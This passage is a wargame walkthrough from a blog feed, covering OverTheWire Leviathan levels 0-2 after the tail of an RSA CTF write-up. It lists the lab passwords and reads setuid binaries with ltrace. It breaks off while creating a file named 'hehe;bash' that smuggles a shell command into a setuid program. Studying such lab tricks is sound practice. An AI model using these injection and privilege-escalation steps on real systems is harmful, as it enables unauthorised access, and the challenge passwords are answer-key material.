&lt;p&gt;Flag: &lt;code&gt;ECSC{r54_l34k5_l34d_70_fl4g5}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ctf101.org/cryptography/what-is-rsa/"&gt;What is RSA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29"&gt;RSA (cryptosystem)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazingtricks.in/how-to-solve-rsa-crypto-challenges-in-ctfs/"&gt;How to solve RSA Crypto Challenges in CTF’S..!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/weirderRSA/weirderRSA.html"&gt;WeirderRSA - 175 (Cryptography)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eprint.iacr.org/2004/147.pdf"&gt;Key Recovery Method for CRT Implementation of RSA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nitaj.users.lmno.cnrs.fr/rsa21.pdf"&gt;A new attack on RSA and CRT-RSA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>OverTheWire - Leviathan Walkthrough - Levels 0-4</title><link>https://thanoskoutr.com/posts/ctfs/overthewire/leviathan/levels-0-4/</link><pubDate>Sat, 22 May 2021 23:10:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/overthewire/leviathan/levels-0-4/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/overthewire.jpg"/&gt;
&lt;p&gt;&lt;a href="https://overthewire.org/wargames/"&gt;OverTheWire&amp;rsquo;s&lt;/a&gt; wargames are offered to help learn and practice security concepts in the form of fun-filled games.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://overthewire.org/wargames/leviathan/"&gt;Leviathan&lt;/a&gt; wargame is a little bit more advanced than &lt;a href="https://overthewire.org/wargames/bandit/"&gt;Bandit&lt;/a&gt; but still doesn&amp;rsquo;t require any knowledge about programming. It is best to first play Bandit and then Leviathan.&lt;/p&gt;
&lt;p&gt;It consists of a total of 6 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the &lt;code&gt;leviathan.labs.overthewire.org&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;In this post, we will present the solutions for &lt;strong&gt;Levels 0-4&lt;/strong&gt; of the Leviathan wargame.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;These walkthroughs are written and published to help other members of the community that are stuck at some Level. &lt;strong&gt;It is strongly advised&lt;/strong&gt; to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="level-0"&gt;
Level 0
&lt;a href="#level-0" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The goal of this level is to log into the game using SSH and find the password for the next level. You can use SSH from a computer using any operating system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows&lt;/li&gt;
&lt;li&gt;macOS&lt;/li&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is best to use a Linux distribution, to practice the things you learn in each challenge but it is not required. There are many guides on &lt;a href="https://www.google.com/search?q=how&amp;#43;to&amp;#43;use&amp;#43;SSH&amp;#43;on&amp;#43;Windows"&gt;how to use SSH on Windows&lt;/a&gt;. For Linux and macOS users, you can simply use the &lt;code&gt;ssh&lt;/code&gt; utility that is available from your terminal.&lt;/p&gt;
&lt;p&gt;The host which we need to connect is &lt;code&gt;leviathan.labs.overthewire.org&lt;/code&gt; and the port is &lt;code&gt;2223&lt;/code&gt;. We can use the &lt;code&gt;-p&lt;/code&gt; flag to define the port we want to connect to. The username is &lt;code&gt;leviathan0&lt;/code&gt; and the password is also &lt;code&gt;leviathan0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Log in to &lt;code&gt;leviathan0&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2223&lt;/span&gt; leviathan0@leviathan.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Password: &lt;code&gt;leviathan0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If we list the home directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan0@leviathan:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-x--- &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; leviathan1 leviathan0 &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .backup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see this &lt;code&gt;.backup&lt;/code&gt; directory, which we list again:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan0@leviathan:~$ ls -al .backup/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;140&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-x--- &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; leviathan1 leviathan0 &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r----- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; leviathan1 leviathan0 &lt;span style="color:#ae81ff"&gt;133259&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; bookmarks.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can &lt;code&gt;cat&lt;/code&gt; it and &lt;code&gt;grep&lt;/code&gt; for the password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan0@leviathan:~$ cat .backup/bookmarks.html | grep password
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;DT&amp;gt;&amp;lt;A HREF&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m&amp;#34;&lt;/span&gt; ADD_DATE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1155384634&amp;#34;&lt;/span&gt; LAST_CHARSET&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ISO-8859-1&amp;#34;&lt;/span&gt; ID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rdf:#&lt;/span&gt;$2&lt;span style="color:#e6db74"&gt;wIU71&amp;#34;&lt;/span&gt;&amp;gt;password to leviathan1&amp;lt;/A&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-1"&gt;
Level 1
&lt;a href="#level-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Log in to &lt;code&gt;leviathan1&lt;/code&gt;, using the password found from Level 0:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2223&lt;/span&gt; leviathan1@leviathan.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we list the home directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan1@leviathan:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-r-sr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; leviathan2 leviathan1 &lt;span style="color:#ae81ff"&gt;7452&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; check
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;check&lt;/code&gt; executable runs with &lt;code&gt;leviathan2&lt;/code&gt; permissions using the setuid bit, so if we exploit it we can cat the password for level 2.&lt;/p&gt;
&lt;p&gt;We can use &lt;code&gt;ltrace&lt;/code&gt; to see the library calls of the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan1@leviathan:~$ ltrace ./check
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__libc_start_main&lt;span style="color:#f92672"&gt;(&lt;/span&gt;0x804853b, 1, 0xffffd684, 0x8048610 &amp;lt;unfinished ...&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;password: &amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;getchar&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1, 0, 0x65766f6c, 0x646f6700password: 12345password
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;49&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;getchar&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1, 0, 0x65766f6c, 0x646f6700&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;getchar&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1, 0, 0x65766f6c, 0x646f6700&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;51&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strcmp&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;123&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;sex&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; -1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;puts&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Wrong password, Good Bye ...&amp;#34;&lt;/span&gt;Wrong password, Good Bye ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+++ exited &lt;span style="color:#f92672"&gt;(&lt;/span&gt;status 0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; +++
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we can see it simply compares the 3 char input we give with the word &lt;em&gt;sex&lt;/em&gt;, so this is our password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan1@leviathan:~$ ./check
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password: sex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we got a shell and we can show the password for the next level:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat /etc/leviathan_pass/leviathan2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ougahZi8Ta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-2"&gt;
Level 2
&lt;a href="#level-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Log in to &lt;code&gt;leviathan2&lt;/code&gt;, using the password found from Level 1:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2223&lt;/span&gt; leviathan2@leviathan.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we list the home directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-r-sr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; leviathan3 leviathan2 &lt;span style="color:#ae81ff"&gt;7436&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; printfile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;printfile&lt;/code&gt; executable runs with &lt;code&gt;leviathan3&lt;/code&gt; permissions using the setuid bit, so if we exploit it we can cat the password for level 3.&lt;/p&gt;
&lt;p&gt;If we run the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ./printfile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*** File Printer ***
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Usage: ./printfile filename
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So lets try to print a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ./printfile .profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.profile: executed by the command interpreter for login shells.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# exists.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It works fine, lets try to print the password file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;You cant have that file...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can use &lt;code&gt;ltrace&lt;/code&gt; to see the library calls of the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__libc_start_main&lt;span style="color:#f92672"&gt;(&lt;/span&gt;0x804852b, 2, 0xffffd674, 0x8048610 &amp;lt;unfinished ...&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;access&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/etc/leviathan_pass/leviathan3&amp;#34;&lt;/span&gt;, 4&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; -1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;puts&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;You cant have that file...&amp;#34;&lt;/span&gt;You cant have that file...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+++ exited &lt;span style="color:#f92672"&gt;(&lt;/span&gt;status 1&lt;span style="color:#f92672"&gt;)&lt;/span&gt; +++
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;According to &lt;code&gt;man&lt;/code&gt; pages for &lt;code&gt;access&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;access() checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is derefer‐
enced.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So symbolic linking won&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;If we play a bit with the parameters that the program takes, we can see that there is no input sanitization. So nothing stops us from creating a dangerous file like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch &lt;span style="color:#e6db74"&gt;&amp;#34;/tmp/mine2/hehe;bash&amp;#34;&lt;/span&gt;
